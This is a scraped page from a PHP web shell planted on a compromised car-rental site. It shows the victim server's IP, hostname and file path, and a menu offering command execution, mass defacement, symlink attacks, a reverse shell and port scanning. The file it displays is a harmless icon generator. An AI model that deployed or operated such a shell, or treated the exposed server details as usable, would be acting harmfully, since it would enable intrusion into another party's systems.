Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
carrental
/
public
/
Viewing: pwa-icon.php
<?php // Dynamic PWA icon generator: draws a simple orange car icon as a square PNG. $size = isset($_GET['size']) ? (int) $_GET['size'] : 512; $allowed = [128, 144, 192, 256, 384, 512]; if (!in_array($size, $allowed, true)) { $size = 512; } // If GD is not available, return a 1x1 transparent PNG as fallback if (!extension_loaded('gd')) { $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAs8Bq0u5H1kAAAAASUVORK5CYII='); header('Content-Type: image/png'); header('Cache-Control: public, max-age=31536000, immutable'); echo $png; exit; } // Check if there is a custom logo in the database $customLogoAbsPath = null; try { require_once __DIR__ . '/../app/config/database.php'; $pdo = \App\Config\Database::getConnection(); $stmt = $pdo->query('SELECT logo FROM configuraciones ORDER BY id_config DESC LIMIT 1'); if ($stmt) { $row = $stmt->fetch(PDO::FETCH_ASSOC); if ($row && !empty($row['logo'])) { $logoRelative = ltrim($row['logo'], '/'); // Try multiple possible paths for compatibility $candidates = [ __DIR__ . '/' . $logoRelative, // public/assets/uploads/... dirname(__DIR__) . '/public/' . $logoRelative, // carrental/public/assets/uploads/... dirname(__DIR__) . '/' . $logoRelative, // carrental/assets/uploads/... ]; foreach ($candidates as $candidate) { if (is_file($candidate)) { $customLogoAbsPath = $candidate; break; } } } } } catch (Exception $e) { // Fallback to drawing the default car if DB fails } if ($customLogoAbsPath) { $ext = strtolower(pathinfo($customLogoAbsPath, PATHINFO_EXTENSION)); $sourceImg = null; if ($ext === 'png') { $sourceImg = @imagecreatefrompng($customLogoAbsPath); } elseif ($ext === 'jpg' || $ext === 'jpeg') { $sourceImg = @imagecreatefromjpeg($customLogoAbsPath); } elseif ($ext === 'webp') { $sourceImg = @imagecreatefromwebp($customLogoAbsPath); } if ($sourceImg) { $srcW = imagesx($sourceImg); $srcH = imagesy($sourceImg); $destImg = imagecreatetruecolor($size, $size); imagesavealpha($destImg, true); $transparent = imagecolorallocatealpha($destImg, 0, 0, 0, 127); imagefill($destImg, 0, 0, $transparent); // Calculate aspect ratio preserving dimensions $ratio = min($size / $srcW, $size / $srcH); $newW = (int)round($srcW * $ratio); $newH = (int)round($srcH * $ratio); $dstX = (int)round(($size - $newW) / 2); $dstY = (int)round(($size - $newH) / 2); imagecopyresampled($destImg, $sourceImg, $dstX, $dstY, 0, 0, $newW, $newH, $srcW, $srcH); header('Content-Type: image/png'); header('Cache-Control: no-cache, must-revalidate'); imagepng($destImg); imagedestroy($destImg); imagedestroy($sourceImg); exit; } } $img = imagecreatetruecolor($size, $size); imagesavealpha($img, true); $transparent = imagecolorallocatealpha($img, 0, 0, 0, 127); imagefill($img, 0, 0, $transparent); // Colors $orange = imagecolorallocate($img, 249, 115, 22); // #f97316 $orangeDark = imagecolorallocate($img, 194, 65, 12); // #c2410c $black = imagecolorallocate($img, 20, 20, 24); $gray = imagecolorallocate($img, 230, 232, 240); // Scale helper $S = function ($v) use ($size) { return (int) round($v * $size); }; // Car body (rounded rectangle) $left = $S(0.12); $top = $S(0.42); $right = $S(0.88); $bottom = $S(0.70); $radius = $S(0.10); // Draw rounded rectangle filled imagefilledrectangle($img, $left + $radius, $top, $right - $radius, $bottom, $orange); imagefilledrectangle($img, $left, $top + $radius, $right, $bottom - $radius, $orange); imagefilledellipse($img, $left + $radius, $top + $radius, $radius * 2, $radius * 2, $orange); imagefilledellipse($img, $right - $radius, $top + $radius, $radius * 2, $radius * 2, $orange); imagefilledellipse($img, $left + $radius, $bottom - $radius, $radius * 2, $radius * 2, $orange); imagefilledellipse($img, $right - $radius, $bottom - $radius, $radius * 2, $radius * 2, $orange); // Roof (trapezoid) $roof = [ $S(0.32), $S(0.30), $S(0.68), $S(0.30), $S(0.80), $S(0.42), $S(0.20), $S(0.42), ]; imagefilledpolygon($img, $roof, 4, $orange); // Split line between body and roof (dark accent) imageline($img, $S(0.20), $S(0.42), $S(0.80), $S(0.42), $orangeDark); // Windows (light gray) $win = [ $S(0.36), $S(0.32), $S(0.64), $S(0.32), $S(0.72), $S(0.41), $S(0.28), $S(0.41), ]; imagefilledpolygon($img, $win, 4, $gray); // Wheels $wheelR = $S(0.10); imagefilledellipse($img, $S(0.30), $S(0.72), $wheelR * 2, $wheelR * 2, $black); imagefilledellipse($img, $S(0.70), $S(0.72), $wheelR * 2, $wheelR * 2, $black); header('Content-Type: image/png'); header('Cache-Control: no-cache, must-revalidate'); imagepng($img); imagedestroy($img);
Coded With 💗 by
0x6ick